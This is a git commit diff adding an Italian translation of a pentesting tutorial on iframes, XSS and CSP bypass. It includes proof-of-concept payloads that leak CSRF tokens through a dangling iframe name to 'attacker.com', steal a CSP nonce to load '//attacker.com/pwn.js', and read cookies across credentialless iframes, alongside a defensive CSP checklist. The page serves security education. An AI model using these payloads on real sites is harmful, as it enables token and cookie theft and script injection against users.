Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-

This commit is contained in:
Translator 2025-08-19 20:44:23 +00:00
parent d0fb1f0316
commit 9701cd4776

View File

@ -61,7 +61,7 @@ Pertanto, è possibile bypassare la CSP di una pagina con:
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### Altri Payload trovati nel wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
#### Nuove tecniche di bypass CSP (2023-2025) con iframes
La comunità di ricerca continua a scoprire modi creativi per abusare degli iframes per sconfiggere politiche restrittive. Di seguito puoi trovare le tecniche più note pubblicate negli ultimi anni:
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** Quando un'applicazione riflette HTML ma una forte CSP blocca l'esecuzione degli script, puoi comunque leakare token sensibili iniettando un attributo `<iframe name>` *dangling*. Una volta che il markup parziale è analizzato, lo script dell'attaccante in esecuzione in un'origine separata naviga il frame verso `about:blank` e legge `window.name`, che ora contiene tutto fino al prossimo carattere di citazione (ad esempio un token CSRF). Poiché nessun JavaScript viene eseguito nel contesto della vittima, l'attacco di solito elude `script-src 'none'`. Un PoC minimo è:
```html
<!-- Punto di iniezione appena prima di un <script> sensibile -->
<iframe name="//attacker.com/?"> <!-- attributo intenzionalmente lasciato aperto -->
````
```javascript
// frame attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → valore leakato
```
* **Furto di nonce tramite iframe same-origin (2024)** I nonce CSP non vengono rimossi dal DOM; sono semplicemente nascosti in DevTools. Se un attaccante può iniettare un iframe *same-origin* (ad esempio caricando HTML sul sito) il frame figlio può semplicemente interrogare `document.querySelector('[nonce]').nonce` e creare nuovi nodi `<script nonce>` che soddisfano la politica, dando piena esecuzione di JavaScript nonostante `strict-dynamic`. Il seguente gadget eleva un'iniezione di markup in XSS:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **Hijacking dell'azione del modulo (PortSwigger 2024)** Una pagina che omette la direttiva `form-action` può avere il suo modulo di login *re-targeted* da un iframe iniettato o HTML inline in modo che i gestori di password compilino automaticamente e inviino le credenziali a un dominio esterno, anche quando è presente `script-src 'none'`. Completa sempre `default-src` con `form-action`!
**Note difensive (checklist rapida)**
1. Invia sempre *tutte* le direttive CSP che controllano contesti secondari (`form-action`, `frame-src`, `child-src`, `object-src`, ecc.).
2. Non fare affidamento sul fatto che i nonce siano segreti—usa `strict-dynamic` **e** elimina i punti di iniezione.
3. Quando devi incorporare documenti non fidati usa `sandbox="allow-scripts allow-same-origin"` **molto attentamente** (o senza `allow-same-origin` se hai solo bisogno di isolamento dell'esecuzione degli script).
4. Considera un'implementazione di difesa in profondità COOP+COEP; il nuovo attributo `<iframe credentialless>` (§ sotto) ti consente di farlo senza rompere gli embed di terze parti.
### Altri payload trovati in natura <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe
@ -126,26 +162,34 @@ Quando utilizzato, l'attributo `sandbox` impone diverse limitazioni:
- L'esecuzione di script è vietata.
- L'accesso a determinate API è disabilitato.
- Impedisce ai link di interagire con altri contesti di navigazione.
- L'uso di plugin tramite `<embed>`, `<object>`, `<applet>` o tag simili è vietato.
- L'uso di plugin tramite `<embed>`, `<object>`, `<applet>`, o tag simili è vietato.
- La navigazione del contesto di navigazione di livello superiore del contenuto da parte del contenuto stesso è impedita.
- Le funzionalità che vengono attivate automaticamente, come la riproduzione video o il focus automatico dei controlli del modulo, sono bloccate.
- Funzionalità che vengono attivate automaticamente, come la riproduzione video o il focus automatico sui controlli del modulo, sono bloccate.
Tip: I browser moderni supportano flag granulari come `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, ecc. Combinali per concedere solo le capacità minime richieste dall'applicazione incorporata.
Il valore dell'attributo può essere lasciato vuoto (`sandbox=""`) per applicare tutte le restrizioni sopra menzionate. In alternativa, può essere impostato su un elenco di valori specifici separati da spazi che esentano l'iframe da determinate restrizioni.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Iframe senza credenziali
Come spiegato in [questo articolo](https://blog.slonser.info/posts/make-self-xss-great-again/), il flag `credentialless` in un iframe viene utilizzato per caricare una pagina all'interno di un iframe senza inviare credenziali nella richiesta, mantenendo la stessa politica di origine (SOP) della pagina caricata nell'iframe.
Questo consente all'iframe di accedere a informazioni sensibili da un altro iframe nella stessa SOP caricata nella pagina padre:
Poiché **Chrome 110 (febbraio 2023) la funzionalità è abilitata per impostazione predefinita** e la specifica è in fase di standardizzazione tra i browser con il nome *anonymous iframe*. MDN la descrive come: “un meccanismo per caricare iframe di terze parti in una nuova partizione di archiviazione effimera in modo che nessun cookie, localStorage o IndexedDB venga condiviso con la vera origine”. Conseguenze per attaccanti e difensori:
* Gli script in diversi iframe senza credenziali **condividono ancora la stessa origine di livello superiore** e possono interagire liberamente tramite il DOM, rendendo fattibili attacchi multi-iframe self-XSS (vedi PoC sotto).
* Poiché la rete è **senza credenziali**, qualsiasi richiesta all'interno dell'iframe si comporta effettivamente come una sessione non autenticata gli endpoint protetti da CSRF di solito falliscono, ma le pagine pubbliche vulnerabili tramite DOM sono ancora nel campo di applicazione.
* I pop-up generati da un iframe senza credenziali ottengono un `rel="noopener"` implicito, interrompendo alcuni flussi OAuth.
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
- Esempio di exploit: Self-XSS + CSRF
In questo attacco, l'attaccante prepara una pagina web malevola con 2 iframe:
In questo attacco, l'attaccante prepara una pagina web malevola con 2 iframes:
- Un iframe che carica la pagina della vittima con il flag `credentialless` con un CSRF che attiva un XSS (Immagina un Self-XSS nel nome utente dell'utente):
```html
@ -201,4 +245,10 @@ Controlla le seguenti pagine:
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## Riferimenti
* [PortSwigger Research Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}